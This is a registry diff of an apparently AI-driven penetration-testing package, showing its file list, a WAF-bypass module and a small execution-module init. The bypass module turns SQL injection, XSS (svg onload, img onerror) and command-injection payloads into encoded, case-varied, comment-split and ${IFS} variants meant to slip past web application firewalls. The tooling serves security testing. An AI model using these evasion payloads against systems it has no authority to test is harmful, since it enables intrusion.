aiptx 2.0.7__py3-none-any.whl
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- aipt_v2/__init__.py +110 -0
- aipt_v2/__main__.py +24 -0
- aipt_v2/agents/AIPTxAgent/__init__.py +10 -0
- aipt_v2/agents/AIPTxAgent/aiptx_agent.py +211 -0
- aipt_v2/agents/__init__.py +46 -0
- aipt_v2/agents/base.py +520 -0
- aipt_v2/agents/exploit_agent.py +688 -0
- aipt_v2/agents/ptt.py +406 -0
- aipt_v2/agents/state.py +168 -0
- aipt_v2/app.py +957 -0
- aipt_v2/browser/__init__.py +31 -0
- aipt_v2/browser/automation.py +458 -0
- aipt_v2/browser/crawler.py +453 -0
- aipt_v2/cli.py +2933 -0
- aipt_v2/compliance/__init__.py +71 -0
- aipt_v2/compliance/compliance_report.py +449 -0
- aipt_v2/compliance/framework_mapper.py +424 -0
- aipt_v2/compliance/nist_mapping.py +345 -0
- aipt_v2/compliance/owasp_mapping.py +330 -0
- aipt_v2/compliance/pci_mapping.py +297 -0
- aipt_v2/config.py +341 -0
- aipt_v2/core/__init__.py +43 -0
- aipt_v2/core/agent.py +630 -0
- aipt_v2/core/llm.py +395 -0
- aipt_v2/core/memory.py +305 -0
- aipt_v2/core/ptt.py +329 -0
- aipt_v2/database/__init__.py +14 -0
- aipt_v2/database/models.py +232 -0
- aipt_v2/database/repository.py +384 -0
- aipt_v2/docker/__init__.py +23 -0
- aipt_v2/docker/builder.py +260 -0
- aipt_v2/docker/manager.py +222 -0
- aipt_v2/docker/sandbox.py +371 -0
- aipt_v2/evasion/__init__.py +58 -0
- aipt_v2/evasion/request_obfuscator.py +272 -0
- aipt_v2/evasion/tls_fingerprint.py +285 -0
- aipt_v2/evasion/ua_rotator.py +301 -0
- aipt_v2/evasion/waf_bypass.py +439 -0
- aipt_v2/execution/__init__.py +23 -0
- aipt_v2/execution/executor.py +302 -0
- aipt_v2/execution/parser.py +544 -0
- aipt_v2/execution/terminal.py +337 -0
- aipt_v2/health.py +437 -0
- aipt_v2/intelligence/__init__.py +194 -0
- aipt_v2/intelligence/adaptation.py +474 -0
- aipt_v2/intelligence/auth.py +520 -0
- aipt_v2/intelligence/chaining.py +775 -0
- aipt_v2/intelligence/correlation.py +536 -0
- aipt_v2/intelligence/cve_aipt.py +334 -0
- aipt_v2/intelligence/cve_info.py +1111 -0
- aipt_v2/intelligence/knowledge_graph.py +590 -0
- aipt_v2/intelligence/learning.py +626 -0
- aipt_v2/intelligence/llm_analyzer.py +502 -0
- aipt_v2/intelligence/llm_tool_selector.py +518 -0
- aipt_v2/intelligence/payload_generator.py +562 -0
- aipt_v2/intelligence/rag.py +239 -0
- aipt_v2/intelligence/scope.py +442 -0
- aipt_v2/intelligence/searchers/__init__.py +5 -0
- aipt_v2/intelligence/searchers/exploitdb_searcher.py +523 -0
- aipt_v2/intelligence/searchers/github_searcher.py +467 -0
- aipt_v2/intelligence/searchers/google_searcher.py +281 -0
- aipt_v2/intelligence/tools.json +443 -0
- aipt_v2/intelligence/triage.py +670 -0
- aipt_v2/interactive_shell.py +559 -0
- aipt_v2/interface/__init__.py +5 -0
- aipt_v2/interface/cli.py +230 -0
- aipt_v2/interface/main.py +501 -0
- aipt_v2/interface/tui.py +1276 -0
- aipt_v2/interface/utils.py +583 -0
- aipt_v2/llm/__init__.py +39 -0
- aipt_v2/llm/config.py +26 -0
- aipt_v2/llm/llm.py +514 -0
- aipt_v2/llm/memory.py +214 -0
- aipt_v2/llm/request_queue.py +89 -0
- aipt_v2/llm/utils.py +89 -0
- aipt_v2/local_tool_installer.py +1467 -0
- aipt_v2/models/__init__.py +15 -0
- aipt_v2/models/findings.py +295 -0
- aipt_v2/models/phase_result.py +224 -0
- aipt_v2/models/scan_config.py +207 -0
- aipt_v2/monitoring/grafana/dashboards/aipt-dashboard.json +355 -0
- aipt_v2/monitoring/grafana/dashboards/default.yml +17 -0
- aipt_v2/monitoring/grafana/datasources/prometheus.yml +17 -0
- aipt_v2/monitoring/prometheus.yml +60 -0
- aipt_v2/orchestration/__init__.py +52 -0
- aipt_v2/orchestration/pipeline.py +398 -0
- aipt_v2/orchestration/progress.py +300 -0
- aipt_v2/orchestration/scheduler.py +296 -0
- aipt_v2/orchestrator.py +2427 -0
- aipt_v2/payloads/__init__.py +27 -0
- aipt_v2/payloads/cmdi.py +150 -0
- aipt_v2/payloads/sqli.py +263 -0
- aipt_v2/payloads/ssrf.py +204 -0
- aipt_v2/payloads/templates.py +222 -0
- aipt_v2/payloads/traversal.py +166 -0
- aipt_v2/payloads/xss.py +204 -0
- aipt_v2/prompts/__init__.py +60 -0
- aipt_v2/proxy/__init__.py +29 -0
- aipt_v2/proxy/history.py +352 -0
- aipt_v2/proxy/interceptor.py +452 -0
- aipt_v2/recon/__init__.py +44 -0
- aipt_v2/recon/dns.py +241 -0
- aipt_v2/recon/osint.py +367 -0
- aipt_v2/recon/subdomain.py +372 -0
- aipt_v2/recon/tech_detect.py +311 -0
- aipt_v2/reports/__init__.py +17 -0
- aipt_v2/reports/generator.py +313 -0
- aipt_v2/reports/html_report.py +378 -0
- aipt_v2/runtime/__init__.py +53 -0
- aipt_v2/runtime/base.py +30 -0
- aipt_v2/runtime/docker.py +401 -0
- aipt_v2/runtime/local.py +346 -0
- aipt_v2/runtime/tool_server.py +205 -0
- aipt_v2/runtime/vps.py +830 -0
- aipt_v2/scanners/__init__.py +28 -0
- aipt_v2/scanners/base.py +273 -0
- aipt_v2/scanners/nikto.py +244 -0
- aipt_v2/scanners/nmap.py +402 -0
- aipt_v2/scanners/nuclei.py +273 -0
- aipt_v2/scanners/web.py +454 -0
- aipt_v2/scripts/security_audit.py +366 -0
- aipt_v2/setup_wizard.py +941 -0
- aipt_v2/skills/__init__.py +80 -0
- aipt_v2/skills/agents/__init__.py +14 -0
- aipt_v2/skills/agents/api_tester.py +706 -0
- aipt_v2/skills/agents/base.py +477 -0
- aipt_v2/skills/agents/code_review.py +459 -0
- aipt_v2/skills/agents/security_agent.py +336 -0
- aipt_v2/skills/agents/web_pentest.py +818 -0
- aipt_v2/skills/prompts/__init__.py +647 -0
- aipt_v2/system_detector.py +539 -0
- aipt_v2/telemetry/__init__.py +7 -0
- aipt_v2/telemetry/tracer.py +347 -0
- aipt_v2/terminal/__init__.py +28 -0
- aipt_v2/terminal/executor.py +400 -0
- aipt_v2/terminal/sandbox.py +350 -0
- aipt_v2/tools/__init__.py +44 -0
- aipt_v2/tools/active_directory/__init__.py +78 -0
- aipt_v2/tools/active_directory/ad_config.py +238 -0
- aipt_v2/tools/active_directory/bloodhound_wrapper.py +447 -0
- aipt_v2/tools/active_directory/kerberos_attacks.py +430 -0
- aipt_v2/tools/active_directory/ldap_enum.py +533 -0
- aipt_v2/tools/active_directory/smb_attacks.py +505 -0
- aipt_v2/tools/agents_graph/__init__.py +19 -0
- aipt_v2/tools/agents_graph/agents_graph_actions.py +69 -0
- aipt_v2/tools/api_security/__init__.py +76 -0
- aipt_v2/tools/api_security/api_discovery.py +608 -0
- aipt_v2/tools/api_security/graphql_scanner.py +622 -0
- aipt_v2/tools/api_security/jwt_analyzer.py +577 -0
- aipt_v2/tools/api_security/openapi_fuzzer.py +761 -0
- aipt_v2/tools/browser/__init__.py +5 -0
- aipt_v2/tools/browser/browser_actions.py +238 -0
- aipt_v2/tools/browser/browser_instance.py +535 -0
- aipt_v2/tools/browser/tab_manager.py +344 -0
- aipt_v2/tools/cloud/__init__.py +70 -0
- aipt_v2/tools/cloud/cloud_config.py +273 -0
- aipt_v2/tools/cloud/cloud_scanner.py +639 -0
- aipt_v2/tools/cloud/prowler_tool.py +571 -0
- aipt_v2/tools/cloud/scoutsuite_tool.py +359 -0
- aipt_v2/tools/executor.py +307 -0
- aipt_v2/tools/parser.py +408 -0
- aipt_v2/tools/proxy/__init__.py +5 -0
- aipt_v2/tools/proxy/proxy_actions.py +103 -0
- aipt_v2/tools/proxy/proxy_manager.py +789 -0
- aipt_v2/tools/registry.py +196 -0
- aipt_v2/tools/scanners/__init__.py +343 -0
- aipt_v2/tools/scanners/acunetix_tool.py +712 -0
- aipt_v2/tools/scanners/burp_tool.py +631 -0
- aipt_v2/tools/scanners/config.py +156 -0
- aipt_v2/tools/scanners/nessus_tool.py +588 -0
- aipt_v2/tools/scanners/zap_tool.py +612 -0
- aipt_v2/tools/terminal/__init__.py +5 -0
- aipt_v2/tools/terminal/terminal_actions.py +37 -0
- aipt_v2/tools/terminal/terminal_manager.py +153 -0
- aipt_v2/tools/terminal/terminal_session.py +449 -0
- aipt_v2/tools/tool_processing.py +108 -0
- aipt_v2/utils/__init__.py +17 -0
- aipt_v2/utils/logging.py +202 -0
- aipt_v2/utils/model_manager.py +187 -0
- aipt_v2/utils/searchers/__init__.py +269 -0
- aipt_v2/verify_install.py +793 -0
- aiptx-2.0.7.dist-info/METADATA +345 -0
- aiptx-2.0.7.dist-info/RECORD +187 -0
- aiptx-2.0.7.dist-info/WHEEL +5 -0
- aiptx-2.0.7.dist-info/entry_points.txt +7 -0
- aiptx-2.0.7.dist-info/licenses/LICENSE +21 -0
- aiptx-2.0.7.dist-info/top_level.txt +1 -0
|
@@ -0,0 +1,439 @@
|
|
|
1
|
+
"""
|
|
2
|
+
WAF Bypass Module
|
|
3
|
+
|
|
4
|
+
Generates bypass payloads for Web Application Firewalls:
|
|
5
|
+
- SQL Injection bypasses
|
|
6
|
+
- XSS filter bypasses
|
|
7
|
+
- Command injection bypasses
|
|
8
|
+
- Path traversal bypasses
|
|
9
|
+
|
|
10
|
+
Techniques include:
|
|
11
|
+
- URL/Unicode/HTML encoding
|
|
12
|
+
- Case variation
|
|
13
|
+
- Comment insertion
|
|
14
|
+
- Whitespace manipulation
|
|
15
|
+
- HTTP Parameter Pollution
|
|
16
|
+
|
|
17
|
+
Usage:
|
|
18
|
+
from aipt_v2.evasion import WAFBypass
|
|
19
|
+
|
|
20
|
+
bypass = WAFBypass()
|
|
21
|
+
payloads = bypass.generate_sqli_bypasses("' OR '1'='1")
|
|
22
|
+
"""
|
|
23
|
+
|
|
24
|
+
import random
|
|
25
|
+
import urllib.parse
|
|
26
|
+
from dataclasses import dataclass, field
|
|
27
|
+
from typing import List, Dict, Optional
|
|
28
|
+
from enum import Enum
|
|
29
|
+
|
|
30
|
+
|
|
31
|
+
class BypassTechnique(Enum):
|
|
32
|
+
"""WAF bypass techniques."""
|
|
33
|
+
URL_ENCODE = "url_encode"
|
|
34
|
+
DOUBLE_URL_ENCODE = "double_url_encode"
|
|
35
|
+
UNICODE_ENCODE = "unicode_encode"
|
|
36
|
+
HTML_ENCODE = "html_encode"
|
|
37
|
+
CASE_VARIATION = "case_variation"
|
|
38
|
+
COMMENT_INSERTION = "comment_insertion"
|
|
39
|
+
WHITESPACE_VARIATION = "whitespace_variation"
|
|
40
|
+
NULL_BYTE = "null_byte"
|
|
41
|
+
CHUNKED_ENCODING = "chunked_encoding"
|
|
42
|
+
HPP = "http_param_pollution"
|
|
43
|
+
|
|
44
|
+
|
|
45
|
+
@dataclass
|
|
46
|
+
class BypassPayload:
|
|
47
|
+
"""Generated bypass payload."""
|
|
48
|
+
original: str
|
|
49
|
+
modified: str
|
|
50
|
+
technique: str
|
|
51
|
+
description: str
|
|
52
|
+
success_rate: float = 0.5 # Estimated success rate
|
|
53
|
+
|
|
54
|
+
|
|
55
|
+
class WAFBypass:
|
|
56
|
+
"""
|
|
57
|
+
WAF Bypass Payload Generator.
|
|
58
|
+
|
|
59
|
+
Generates multiple bypass variants for payloads
|
|
60
|
+
to evade Web Application Firewalls.
|
|
61
|
+
"""
|
|
62
|
+
|
|
63
|
+
# SQL keywords for case variation
|
|
64
|
+
SQL_KEYWORDS = [
|
|
65
|
+
"SELECT", "UNION", "INSERT", "UPDATE", "DELETE", "DROP",
|
|
66
|
+
"FROM", "WHERE", "AND", "OR", "ORDER", "BY", "GROUP",
|
|
67
|
+
"HAVING", "LIMIT", "OFFSET", "JOIN", "LEFT", "RIGHT",
|
|
68
|
+
"INNER", "OUTER", "ON", "AS", "INTO", "VALUES", "SET"
|
|
69
|
+
]
|
|
70
|
+
|
|
71
|
+
# Whitespace alternatives
|
|
72
|
+
WHITESPACE_ALTERNATIVES = [
|
|
73
|
+
"/**/", "/*!", "/*foo*/", "%09", "%0a", "%0b", "%0c", "%0d",
|
|
74
|
+
"%a0", "+", "%20", "/**_**/", "/*--*/"
|
|
75
|
+
]
|
|
76
|
+
|
|
77
|
+
# Comment styles
|
|
78
|
+
COMMENT_STYLES = [
|
|
79
|
+
"/**/", "/***/", "/*foo*/", "/*!*/", "/*! */",
|
|
80
|
+
"/*%00*/", "/**%0a**/", "/*%0d%0a*/"
|
|
81
|
+
]
|
|
82
|
+
|
|
83
|
+
def __init__(self):
|
|
84
|
+
"""Initialize WAF bypass generator."""
|
|
85
|
+
self.techniques = list(BypassTechnique)
|
|
86
|
+
|
|
87
|
+
def url_encode(self, payload: str, double: bool = False) -> str:
|
|
88
|
+
"""URL encode payload."""
|
|
89
|
+
encoded = urllib.parse.quote(payload, safe="")
|
|
90
|
+
if double:
|
|
91
|
+
encoded = urllib.parse.quote(encoded, safe="")
|
|
92
|
+
return encoded
|
|
93
|
+
|
|
94
|
+
def unicode_encode(self, payload: str) -> str:
|
|
95
|
+
"""Unicode encode payload."""
|
|
96
|
+
result = ""
|
|
97
|
+
for char in payload:
|
|
98
|
+
if char.isalpha():
|
|
99
|
+
result += f"%u00{ord(char):02x}"
|
|
100
|
+
else:
|
|
101
|
+
result += char
|
|
102
|
+
return result
|
|
103
|
+
|
|
104
|
+
def html_encode(self, payload: str) -> str:
|
|
105
|
+
"""HTML entity encode payload."""
|
|
106
|
+
result = ""
|
|
107
|
+
for char in payload:
|
|
108
|
+
if char.isalpha() or char.isdigit():
|
|
109
|
+
result += f"&#{ord(char)};"
|
|
110
|
+
else:
|
|
111
|
+
result += char
|
|
112
|
+
return result
|
|
113
|
+
|
|
114
|
+
def case_variation(self, payload: str) -> str:
|
|
115
|
+
"""Apply random case variation to SQL keywords."""
|
|
116
|
+
result = payload
|
|
117
|
+
for keyword in self.SQL_KEYWORDS:
|
|
118
|
+
# Random case for each keyword
|
|
119
|
+
varied = "".join(
|
|
120
|
+
c.upper() if random.random() > 0.5 else c.lower()
|
|
121
|
+
for c in keyword
|
|
122
|
+
)
|
|
123
|
+
result = result.replace(keyword, varied)
|
|
124
|
+
result = result.replace(keyword.lower(), varied)
|
|
125
|
+
return result
|
|
126
|
+
|
|
127
|
+
def insert_comments(self, payload: str) -> str:
|
|
128
|
+
"""Insert SQL comments between characters."""
|
|
129
|
+
result = ""
|
|
130
|
+
for i, char in enumerate(payload):
|
|
131
|
+
result += char
|
|
132
|
+
if char.isalpha() and i < len(payload) - 1:
|
|
133
|
+
if random.random() > 0.7:
|
|
134
|
+
result += random.choice(self.COMMENT_STYLES)
|
|
135
|
+
return result
|
|
136
|
+
|
|
137
|
+
def replace_whitespace(self, payload: str) -> str:
|
|
138
|
+
"""Replace whitespace with alternatives."""
|
|
139
|
+
result = payload
|
|
140
|
+
for ws in [" ", "\t", "\n"]:
|
|
141
|
+
result = result.replace(ws, random.choice(self.WHITESPACE_ALTERNATIVES))
|
|
142
|
+
return result
|
|
143
|
+
|
|
144
|
+
def add_null_bytes(self, payload: str) -> str:
|
|
145
|
+
"""Add null bytes to payload."""
|
|
146
|
+
return f"%00{payload}%00"
|
|
147
|
+
|
|
148
|
+
def generate_sqli_bypasses(self, payload: str) -> List[BypassPayload]:
|
|
149
|
+
"""
|
|
150
|
+
Generate SQL injection bypass variants.
|
|
151
|
+
|
|
152
|
+
Args:
|
|
153
|
+
payload: Original SQLi payload
|
|
154
|
+
|
|
155
|
+
Returns:
|
|
156
|
+
List of bypass payloads
|
|
157
|
+
"""
|
|
158
|
+
bypasses = []
|
|
159
|
+
|
|
160
|
+
# Original
|
|
161
|
+
bypasses.append(BypassPayload(
|
|
162
|
+
original=payload,
|
|
163
|
+
modified=payload,
|
|
164
|
+
technique="original",
|
|
165
|
+
description="Original payload",
|
|
166
|
+
success_rate=0.3
|
|
167
|
+
))
|
|
168
|
+
|
|
169
|
+
# URL encoding
|
|
170
|
+
bypasses.append(BypassPayload(
|
|
171
|
+
original=payload,
|
|
172
|
+
modified=self.url_encode(payload),
|
|
173
|
+
technique="url_encode",
|
|
174
|
+
description="URL encoded payload",
|
|
175
|
+
success_rate=0.5
|
|
176
|
+
))
|
|
177
|
+
|
|
178
|
+
# Double URL encoding
|
|
179
|
+
bypasses.append(BypassPayload(
|
|
180
|
+
original=payload,
|
|
181
|
+
modified=self.url_encode(payload, double=True),
|
|
182
|
+
technique="double_url_encode",
|
|
183
|
+
description="Double URL encoded payload",
|
|
184
|
+
success_rate=0.6
|
|
185
|
+
))
|
|
186
|
+
|
|
187
|
+
# Unicode encoding
|
|
188
|
+
bypasses.append(BypassPayload(
|
|
189
|
+
original=payload,
|
|
190
|
+
modified=self.unicode_encode(payload),
|
|
191
|
+
technique="unicode_encode",
|
|
192
|
+
description="Unicode encoded payload",
|
|
193
|
+
success_rate=0.4
|
|
194
|
+
))
|
|
195
|
+
|
|
196
|
+
# Case variation
|
|
197
|
+
bypasses.append(BypassPayload(
|
|
198
|
+
original=payload,
|
|
199
|
+
modified=self.case_variation(payload),
|
|
200
|
+
technique="case_variation",
|
|
201
|
+
description="Random case variation",
|
|
202
|
+
success_rate=0.6
|
|
203
|
+
))
|
|
204
|
+
|
|
205
|
+
# Comment insertion
|
|
206
|
+
bypasses.append(BypassPayload(
|
|
207
|
+
original=payload,
|
|
208
|
+
modified=self.insert_comments(payload),
|
|
209
|
+
technique="comment_insertion",
|
|
210
|
+
description="SQL comments inserted",
|
|
211
|
+
success_rate=0.5
|
|
212
|
+
))
|
|
213
|
+
|
|
214
|
+
# Whitespace variation
|
|
215
|
+
bypasses.append(BypassPayload(
|
|
216
|
+
original=payload,
|
|
217
|
+
modified=self.replace_whitespace(payload),
|
|
218
|
+
technique="whitespace_variation",
|
|
219
|
+
description="Whitespace replaced with alternatives",
|
|
220
|
+
success_rate=0.5
|
|
221
|
+
))
|
|
222
|
+
|
|
223
|
+
# Combined techniques
|
|
224
|
+
combined = self.case_variation(self.insert_comments(payload))
|
|
225
|
+
combined = self.replace_whitespace(combined)
|
|
226
|
+
bypasses.append(BypassPayload(
|
|
227
|
+
original=payload,
|
|
228
|
+
modified=combined,
|
|
229
|
+
technique="combined",
|
|
230
|
+
description="Multiple techniques combined",
|
|
231
|
+
success_rate=0.7
|
|
232
|
+
))
|
|
233
|
+
|
|
234
|
+
return bypasses
|
|
235
|
+
|
|
236
|
+
def generate_xss_bypasses(self, payload: str) -> List[BypassPayload]:
|
|
237
|
+
"""
|
|
238
|
+
Generate XSS bypass variants.
|
|
239
|
+
|
|
240
|
+
Args:
|
|
241
|
+
payload: Original XSS payload
|
|
242
|
+
|
|
243
|
+
Returns:
|
|
244
|
+
List of bypass payloads
|
|
245
|
+
"""
|
|
246
|
+
bypasses = []
|
|
247
|
+
|
|
248
|
+
# Original
|
|
249
|
+
bypasses.append(BypassPayload(
|
|
250
|
+
original=payload,
|
|
251
|
+
modified=payload,
|
|
252
|
+
technique="original",
|
|
253
|
+
description="Original payload",
|
|
254
|
+
success_rate=0.3
|
|
255
|
+
))
|
|
256
|
+
|
|
257
|
+
# Case variations for script tag
|
|
258
|
+
if "<script>" in payload.lower():
|
|
259
|
+
variants = [
|
|
260
|
+
payload.replace("<script>", "<ScRiPt>").replace("</script>", "</ScRiPt>"),
|
|
261
|
+
payload.replace("<script>", "<SCRIPT>").replace("</script>", "</SCRIPT>"),
|
|
262
|
+
payload.replace("<script>", "<scr<script>ipt>"),
|
|
263
|
+
]
|
|
264
|
+
for v in variants:
|
|
265
|
+
bypasses.append(BypassPayload(
|
|
266
|
+
original=payload,
|
|
267
|
+
modified=v,
|
|
268
|
+
technique="case_variation",
|
|
269
|
+
description="Script tag case variation",
|
|
270
|
+
success_rate=0.4
|
|
271
|
+
))
|
|
272
|
+
|
|
273
|
+
# Event handler variations
|
|
274
|
+
event_handlers = [
|
|
275
|
+
("onerror", ["OnErRoR", "oNeRrOr", "ONERROR"]),
|
|
276
|
+
("onload", ["OnLoAd", "oNlOaD", "ONLOAD"]),
|
|
277
|
+
("onclick", ["OnClIcK", "oNcLiCk", "ONCLICK"]),
|
|
278
|
+
]
|
|
279
|
+
|
|
280
|
+
for handler, variants in event_handlers:
|
|
281
|
+
if handler in payload.lower():
|
|
282
|
+
for v in variants:
|
|
283
|
+
bypasses.append(BypassPayload(
|
|
284
|
+
original=payload,
|
|
285
|
+
modified=payload.lower().replace(handler, v),
|
|
286
|
+
technique="event_handler_variation",
|
|
287
|
+
description=f"Event handler variation: {v}",
|
|
288
|
+
success_rate=0.5
|
|
289
|
+
))
|
|
290
|
+
|
|
291
|
+
# HTML encoding
|
|
292
|
+
bypasses.append(BypassPayload(
|
|
293
|
+
original=payload,
|
|
294
|
+
modified=self.html_encode(payload),
|
|
295
|
+
technique="html_encode",
|
|
296
|
+
description="HTML entity encoded",
|
|
297
|
+
success_rate=0.4
|
|
298
|
+
))
|
|
299
|
+
|
|
300
|
+
# SVG/IMG alternatives
|
|
301
|
+
if "<script>" in payload.lower():
|
|
302
|
+
svg_payload = payload.replace(
|
|
303
|
+
"<script>alert(1)</script>",
|
|
304
|
+
"<svg onload=alert(1)>"
|
|
305
|
+
)
|
|
306
|
+
bypasses.append(BypassPayload(
|
|
307
|
+
original=payload,
|
|
308
|
+
modified=svg_payload,
|
|
309
|
+
technique="tag_alternative",
|
|
310
|
+
description="SVG tag alternative",
|
|
311
|
+
success_rate=0.6
|
|
312
|
+
))
|
|
313
|
+
|
|
314
|
+
img_payload = '<img src=x onerror=alert(1)>'
|
|
315
|
+
bypasses.append(BypassPayload(
|
|
316
|
+
original=payload,
|
|
317
|
+
modified=img_payload,
|
|
318
|
+
technique="tag_alternative",
|
|
319
|
+
description="IMG tag alternative",
|
|
320
|
+
success_rate=0.6
|
|
321
|
+
))
|
|
322
|
+
|
|
323
|
+
return bypasses
|
|
324
|
+
|
|
325
|
+
def generate_cmdi_bypasses(self, payload: str) -> List[BypassPayload]:
|
|
326
|
+
"""
|
|
327
|
+
Generate command injection bypass variants.
|
|
328
|
+
|
|
329
|
+
Args:
|
|
330
|
+
payload: Original command injection payload
|
|
331
|
+
|
|
332
|
+
Returns:
|
|
333
|
+
List of bypass payloads
|
|
334
|
+
"""
|
|
335
|
+
bypasses = []
|
|
336
|
+
|
|
337
|
+
# Original
|
|
338
|
+
bypasses.append(BypassPayload(
|
|
339
|
+
original=payload,
|
|
340
|
+
modified=payload,
|
|
341
|
+
technique="original",
|
|
342
|
+
description="Original payload",
|
|
343
|
+
success_rate=0.3
|
|
344
|
+
))
|
|
345
|
+
|
|
346
|
+
# Variable substitution
|
|
347
|
+
if "cat " in payload:
|
|
348
|
+
bypasses.append(BypassPayload(
|
|
349
|
+
original=payload,
|
|
350
|
+
modified=payload.replace("cat ", "c''at "),
|
|
351
|
+
technique="quote_insertion",
|
|
352
|
+
description="Quote insertion in command",
|
|
353
|
+
success_rate=0.5
|
|
354
|
+
))
|
|
355
|
+
bypasses.append(BypassPayload(
|
|
356
|
+
original=payload,
|
|
357
|
+
modified=payload.replace("cat ", "c${IFS}at "),
|
|
358
|
+
technique="variable_substitution",
|
|
359
|
+
description="IFS variable substitution",
|
|
360
|
+
success_rate=0.6
|
|
361
|
+
))
|
|
362
|
+
|
|
363
|
+
# Newline bypass
|
|
364
|
+
bypasses.append(BypassPayload(
|
|
365
|
+
original=payload,
|
|
366
|
+
modified=f"%0a{payload}",
|
|
367
|
+
technique="newline_bypass",
|
|
368
|
+
description="Newline character bypass",
|
|
369
|
+
success_rate=0.5
|
|
370
|
+
))
|
|
371
|
+
|
|
372
|
+
# Tab bypass
|
|
373
|
+
bypasses.append(BypassPayload(
|
|
374
|
+
original=payload,
|
|
375
|
+
modified=payload.replace(" ", "\t"),
|
|
376
|
+
technique="tab_bypass",
|
|
377
|
+
description="Tab character for space",
|
|
378
|
+
success_rate=0.4
|
|
379
|
+
))
|
|
380
|
+
|
|
381
|
+
# Backtick alternatives
|
|
382
|
+
if "`" in payload:
|
|
383
|
+
bypasses.append(BypassPayload(
|
|
384
|
+
original=payload,
|
|
385
|
+
modified=payload.replace("`", "$(").rstrip("`") + ")",
|
|
386
|
+
technique="subshell_alternative",
|
|
387
|
+
description="$() instead of backticks",
|
|
388
|
+
success_rate=0.6
|
|
389
|
+
))
|
|
390
|
+
|
|
391
|
+
return bypasses
|
|
392
|
+
|
|
393
|
+
def generate_all_bypasses(
|
|
394
|
+
self,
|
|
395
|
+
payload: str,
|
|
396
|
+
payload_type: str = "sqli"
|
|
397
|
+
) -> List[BypassPayload]:
|
|
398
|
+
"""
|
|
399
|
+
Generate all bypass variants for a payload.
|
|
400
|
+
|
|
401
|
+
Args:
|
|
402
|
+
payload: Original payload
|
|
403
|
+
payload_type: Type (sqli, xss, cmdi)
|
|
404
|
+
|
|
405
|
+
Returns:
|
|
406
|
+
List of bypass payloads
|
|
407
|
+
"""
|
|
408
|
+
if payload_type == "sqli":
|
|
409
|
+
return self.generate_sqli_bypasses(payload)
|
|
410
|
+
elif payload_type == "xss":
|
|
411
|
+
return self.generate_xss_bypasses(payload)
|
|
412
|
+
elif payload_type == "cmdi":
|
|
413
|
+
return self.generate_cmdi_bypasses(payload)
|
|
414
|
+
else:
|
|
415
|
+
return [BypassPayload(
|
|
416
|
+
original=payload,
|
|
417
|
+
modified=payload,
|
|
418
|
+
technique="unknown",
|
|
419
|
+
description="Unknown payload type"
|
|
420
|
+
)]
|
|
421
|
+
|
|
422
|
+
|
|
423
|
+
# Convenience function
|
|
424
|
+
def generate_bypass_payloads(
|
|
425
|
+
payload: str,
|
|
426
|
+
payload_type: str = "sqli"
|
|
427
|
+
) -> List[BypassPayload]:
|
|
428
|
+
"""
|
|
429
|
+
Generate WAF bypass payloads.
|
|
430
|
+
|
|
431
|
+
Args:
|
|
432
|
+
payload: Original payload
|
|
433
|
+
payload_type: Type (sqli, xss, cmdi)
|
|
434
|
+
|
|
435
|
+
Returns:
|
|
436
|
+
List of bypass payloads
|
|
437
|
+
"""
|
|
438
|
+
bypass = WAFBypass()
|
|
439
|
+
return bypass.generate_all_bypasses(payload, payload_type)
|
|
@@ -0,0 +1,23 @@
|
|
|
1
|
+
"""
|
|
2
|
+
AIPT Execution Module
|
|
3
|
+
|
|
4
|
+
Command execution with security and isolation:
|
|
5
|
+
- Terminal wrapper for subprocess execution
|
|
6
|
+
- Output parser for structured findings
|
|
7
|
+
- Sandbox integration for Docker isolation
|
|
8
|
+
- Result handling and error management
|
|
9
|
+
"""
|
|
10
|
+
from __future__ import annotations
|
|
11
|
+
|
|
12
|
+
from .terminal import Terminal, ExecutionResult
|
|
13
|
+
from .parser import OutputParser, Finding
|
|
14
|
+
from .executor import ExecutionEngine, ExecutionMode
|
|
15
|
+
|
|
16
|
+
__all__ = [
|
|
17
|
+
"Terminal",
|
|
18
|
+
"ExecutionResult",
|
|
19
|
+
"OutputParser",
|
|
20
|
+
"Finding",
|
|
21
|
+
"ExecutionEngine",
|
|
22
|
+
"ExecutionMode",
|
|
23
|
+
]
|